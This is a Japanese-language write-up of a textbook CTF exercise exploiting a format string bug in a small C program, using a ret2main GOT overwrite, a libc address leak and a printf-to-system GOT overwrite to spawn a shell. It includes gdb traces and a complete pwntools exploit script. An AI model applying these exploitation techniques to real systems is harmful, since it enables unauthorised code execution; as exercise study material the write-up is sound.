FSB・ret2main・GOT overwrite
『詳解セキュコン』の実践問題35.4(p.638)。
タイトルにある脆弱性を利用してシェルを起動することが目的。
与えられる文字数の上限に注意する必要がある。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(void){ char buf[0x30] = {}; setbuf(stdout, NULL); puts("Input message"); read(STDIN_FILENO, buf, sizeof(buf)); printf(buf); exit(0); }
shoebill@pwner:~$ checksec chall_vulnfunc [*] '/home/shoebill/chall_vulnfunc' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
戦略
step.1 最後のexit()
のGOTをmain()
のアドレスに書き換えてret2mainをする
step.2 FSBでlibcのアドレスリークをする(read
関数)
step.3 printf()
のGOTをsystem()
のアドレスに書き換える
step.4 入力で"/bin/sh"
を与えてシェルを起動
exploit.py :
#!/usr/bin/env python3 from pwn import * bin_file = './chall_vulnfunc' context(os = 'linux', arch = 'amd64') #context.log_level = 'debug' binf = ELF(bin_file) addr_main = binf.functions['main'].address addr_got_exit = binf.got['exit'] addr_got_printf = binf.got['printf'] libc = binf.libc offset_libc_read = libc.functions['read'].address def attack(conn, **kwargs): # step.1 payload = fmtstr_payload(offset = 6, writes = {addr_got_exit: addr_main}, write_size = 'short') conn.sendafter('message\n', payload) # step.2 conn.sendafter('message\n', '%3$p') read18 = int(conn.recvuntil('I')[:-1], 16) addr_libc_read = read18 - 18 libc.address = addr_libc_read - offset_libc_read info('libc_base = 0x{:08x}'.format(libc.address)) # step.3 addr_libc_system = libc.symbols['system'] payload = '%{}c'.format((addr_libc_system >> 16) & 0xff) payload += '%10$hhn' payload += '%{}c'.format((addr_libc_system & 0xffff) - ((addr_libc_system >> 16) & 0xff)) payload += '%11$hn' payload = payload.ljust(0x20, 'x').encode() + flat(addr_got_printf + 2, addr_got_printf) conn.sendafter('message\n', payload) # step.4 conn.sendafter('message\n', '/bin/sh') def main(): conn = process(bin_file) attack(conn) conn.interactive() if __name__ == '__main__': main()
step.1
fmtstr_payload
でFSBのペイロードを作成する。出力してみると次のよう:
>>> fmtstr_payload(offset = 6, writes = {addr_got_exit: addr_main}) b'%182c%11$lln%91c%12$hhn%47c%13$hhnaaaaba8@@\x00\x00\x00\x00\x009@@\x00\x00\x00\x00\x00:@@\x00\x00\x00\x00\x00'
offset = 6
というのは、aaaaaaaa %p %p %p %p %p %p %p %p
という入力を与えた時、0x6161616161616161
が6番目に現れたから。
step.2
read
関数のアドレスを利用してlibcのベースアドレスを求める。
printf()
の直前のスタックの様子:
gdb-peda$ b *main+141 Breakpoint 1 at 0x401243 gdb-peda$ r < <(echo 'aaaaaaaa %p %p %p %p %p %p %p %p') [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x7ffff7e99992 (<__GI___libc_read+18>: cmp rax,0xfffffffffffff000) RDX: 0x30 ('0') ...8<...
RCX
の部分にread
関数の途中のアドレスが格納されている!これを%3$p
で読み出してオフセットの18を引けばread
関数のアドレス。
なぜ %3$p
つまり3番目なのか?それは次のgdbの結果からわかる。
printf()
にブレイクポイントを設定して、入力としてaaaaaaaa %p %p %p %p %p %p %p %p %p
を与えてやる:
gdb-peda$ b *main+141 Breakpoint 1 at 0x401243 gdb-peda$ r Input message aaaaaaaa %p %p %p %p %p %p %p %p %p ...8<... [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x7ffff7e99992 (<__GI___libc_read+18>: cmp rax,0xfffffffffffff000) RDX: 0x30 ('0') RSI: 0x7fffffffdd10 ("aaaaaaaa %p %p %p %p %p %p %p %p %p\n") RDI: 0x7fffffffdd10 ("aaaaaaaa %p %p %p %p %p %p %p %p %p\n") RBP: 0x7fffffffdd50 --> 0x1 RSP: 0x7fffffffdd10 ("aaaaaaaa %p %p %p %p %p %p %p %p %p\n") RIP: 0x401243 (<main+141>: call 0x4010a0 <printf@plt>) ...8<... gdb-peda$ c Continuing. aaaaaaaa 0x7fffffffdd10 0x30 0x7ffff7e99992 0xd 0x7ffff7fc9040 0x6161616161616161 0x2520702520702520 0x2070252070252070 0x7025207025207025 [Inferior 1 (process 3577) exited normally] Warning: not running
gdbのc
コマンドを入力した後にprintf()
の出力が行われる。ここで、RCX
に対応する0x7ffff7e99992
が出力の3番目に来ているとわかる(aaaaaaaa
を0番目としてカウント)。
次のようにチェックしてみるとやはり3番目で正しい:
gdb-peda$ r Input message aaaaaaaa %3$p ...8<... gdb-peda$ c Continuing. aaaaaaaa 0x7ffff7e99992
step.3
FSBを利用して、printf()
のGOTをsystem()
関数のアドレスに書き換える。
step.1と同様にfmtstr_payload
を使ってやるのはうまくいかない。これはbuf
に入力できるのが0x30バイトだけだから。
[*] addr_libc_system = 0x7f4f94318d60 (=139979765419360) [*] addr_got_printf = 0x00404028
単純に
b'%139979765419360c%10$n.'ljust(0x20, b'\x00') + pack('<Q', addr_got_printf)
というペイロードを刺すのは大きすぎる。
そこで%hhn
(1バイト分)と%hn
(2バイト分)の両方をうまく使う。
payload = '%{}c'.format((addr_libc_system >> 16) & 0xff) payload += '%10$hhn' payload += '%{}c'.format((addr_libc_system & 0xffff) - ((addr_libc_system >> 16) & 0xff)) payload += '%11$hn' payload = payload.ljust(0x20, 'x').encode() + flat(addr_got_printf + 2, addr_got_printf)
printf()
とsystem()
のアドレスの差分は大抵の場合下位3nibbleで収まっていると考えられる。